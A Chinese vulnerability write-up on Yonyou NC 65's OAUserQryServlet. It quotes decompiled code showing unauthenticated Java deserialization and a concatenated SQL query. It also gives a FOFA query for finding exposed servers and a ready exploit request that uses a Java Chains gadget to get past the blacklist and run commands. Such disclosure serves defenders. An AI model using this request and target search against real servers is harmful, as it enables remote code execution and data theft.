漏洞简介
用友NC是用公司推出的一款企业管理软件,涵盖财务、供应链、生产制造等多个业务领域,旨在帮助企业实现信息化管理。用友NC的OAUserQryServlet组件存在反序列化漏洞。该Servlet在处理用户请求时,可能对接收到的序列化数据(如Java的ObjectInputStream)未进行安全检查,直接进行反序列化操作。攻击者可以构造恶意的序列化对象,其中包含可执行的代码,当OAUserQryServlet反序列化该恶意对象时,就会触发代码执行。该漏洞可能允许攻击者在服务器上执行任意代码,从而完全控制服务器,窃取敏感数据,篡改系统配置,或进行其他恶意活动,对企业的业务系统和数据安全构成严重威胁。
影响版本
NC 65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
反序列化
直接看下OAUserQryServlet的实现
public class OAUserQryServlet extends HttpServlet {
private static final long serialVersionUID = -5847889958965745395L;
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
HashMap<Object, Object> headInfo = new HashMap();
try {
headInfo = (HashMap)in.readObject();
由于代码在处理 HTTP 请求时,直接对用户传入的输入流进行 Java 反序列化操作(in.readObject()),且该操作发生在任何身份验证或安全检查之前,造成了未经身份验证的远程代码执行(RCE)漏洞。攻击者可以构造恶意的序列化数据流,在服务器反序列化时执行任意代码。
SQL注入
在反序列化下面的getUserByCode方法中
try {
headInfo = (HashMap)in.readObject();
} catch (ClassNotFoundException e1) {
CpLogger.error(e1.getMessage());
}
String dsName = (String)headInfo.get("dsName");
String usercode = (String)headInfo.get("usercode");
ISecurityTokenCallback sc = (ISecurityTokenCallback)NCLocator.getInstance().lookup(ISecurityTokenCallback.class);
InvocationInfoProxy.getInstance().setUserCode(usercode);
byte[] annonyTokens = sc.token("0".getBytes(), usercode.getBytes());
sc.restore(annonyTokens);
UserQryService service = new UserQryServiceImpl();
CpUserWithDetailVO[] userArray = service.getUserByCode(usercode, dsName);
参数dsName和usercode被带入了getUserByCode方法,再看下它的实现逻辑
public CpUserWithDetailVO[] getUserByCode(String param, String dataSourceName) {
InvocationInfoProxy.getInstance().setUserDataSource(dataSourceName);
ISecurityTokenCallback sc = (ISecurityTokenCallback)NCLocator.getInstance().lookup(ISecurityTokenCallback.class);
InvocationInfoProxy.getInstance().setUserCode(param);
byte[] annonyTokens = sc.token("0".getBytes(), param.getBytes());
sc.restore(annonyTokens);
String tableName = CpUserWithDetailUtil.getDefaultTableName();
PtBaseDAO dao = new PtBaseDAO(dataSourceName);
String sql = "select * from " + tableName + " where cp_user.user_code = '" + param + "'";
List list = null;
到这就很明显了,参数param即usercode没有过滤或校验就被直接拼接进SQL语句中执行,从而造成了SQL注入漏洞。
漏洞复现
POST /servlet/OAUserQryServlet?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: application/x-java-serialized-object
X-Authorization: whoami
{{file(/tmp/javachains.ser)}}
使用Java Chains 的TransformerWithDefiningClassLoader2构造绕黑名单进行命令执行回显

成功执行命令并回显执行结果



